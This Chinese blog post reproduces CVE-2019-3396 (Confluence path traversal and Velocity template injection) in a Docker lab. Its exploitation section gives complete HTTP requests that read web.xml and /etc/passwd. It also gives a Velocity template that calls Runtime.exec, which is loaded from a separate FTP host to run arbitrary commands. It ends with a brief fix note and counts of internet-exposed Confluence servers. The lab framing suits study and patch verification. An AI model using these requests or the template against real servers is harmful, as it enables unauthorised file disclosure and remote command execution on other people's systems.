CVE-2019-3396(Atlassian Confluence 路径穿越与命令执行漏洞)

Atlassian Confluence 路径穿越与命令执行漏洞

漏洞描述

1.漏洞编号:CVE-2019-3396

2.影响版本:6.6.12之前所有6.6.x版本,6.12.3之前所有6.12.x版本,6.13.13之前所有6.13.x版本,6.14.2之前所有6.14.x版本。

3.漏洞产生原因:

Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。

参考资料:

- https://paper.seebug.org/884/

- https://jira.atlassian.com/browse/CONFSERVER-57974

 

执行如下命令启动一个Confluence Server 6.10.2

docker-compose up -d

环境启动后,访问`http://your-ip:8090`会进入安装引导,选择“Trial installation”,之后会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server的测试证书(不要选择Data CenterAddons):

 

 

 

 

 然后点击Next安装即可。这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待。

 

如果提示填写cluster node,路径填写`/home/confluence`即可:

后续可能要求你填写数据库账号密码,选择postgres数据库,地址为`db`,账号密码均为`postgres`

 

 

 

 

 

 

 

 

 

漏洞发现

关注Atlassian Confluence的版本

 

 

漏洞利用

点击预览功能时发的包里并没有_template参数,需要手动加上。猜想这个漏洞应该是需要白盒审计才能发现吧。修改请求中_template参数的值,即可实现本地文件包含,发送如下数据包,即可读取文件`web.xml`

POST /rest/tinymce/1/macro/preview HTTP/1.1

Host: localhost:8090

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&

Content-Type: application/json; charset=utf-8

Content-Length: 176

 

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

 

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 192.168.1.232:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://192.168.1.232:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 186

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"file:///etc/passwd"},"body":""}}

 6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用`file:///etc/passwd`来读取文件,也可以通过`https://...`来加载远程文件。

 

 在开启ftp的当前目录下写入r.vm文件

#set ($exp="exp")

#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))

#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))

#set($sc = $exp.getClass().forName("java.util.Scanner"))

#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))

#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))

#if($scan.hasNext())

    $scan.next()

#end

 

 该文件是一个Velocity模板,我们可以通过模板注入(SSTI)来执行任意命令:

POST /rest/tinymce/1/macro/preview HTTP/1.1

Host: 192.168.1.232:8090

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Referer: http://192.168.1.232:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&

Content-Type: application/json; charset=utf-8

Content-Length: 207

 

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"ftp://192.168.1.218/r.vm","command":"id"},"body":""}}

 

问题汇总

 

 

修复方案

官方已修复该漏洞,下载最新版的比对补丁,发现在com\atlassian\confluence\extra\widgetconnector\WidgetMacro.java里面多了一个过滤,这个应该就是这个漏洞最关键的地方。

 

请到官网下载无漏洞版本:https://www.atlassian.com/

 

 

信息搜集

根据FOFA的数据统计,全球共有78158Confluence开放服务,美国最多,有23002个服务,德国第二,有14385个开放服务,中国第三,有7281个服务,澳大利亚第四,有7959个服务,爱尔兰第五,有2893个服务。

 

全国的开放的Confluence服务中,浙江最多,有3040个服务,北京第二,有1713个服务,上海第三,有532个服务,广东第四,有525个服务。

 

 

根据 ZoomEye 网络空间搜索引擎对关键字 "X-Confluence" 进行搜索,共得到 61,856 条结果,主要分布美国、德国、中国等国家。

 

 2021-01-17 20:21:41

 

posted @ 2021-01-17 20:22  toby123  阅读(3231)  评论(0编辑  收藏  举报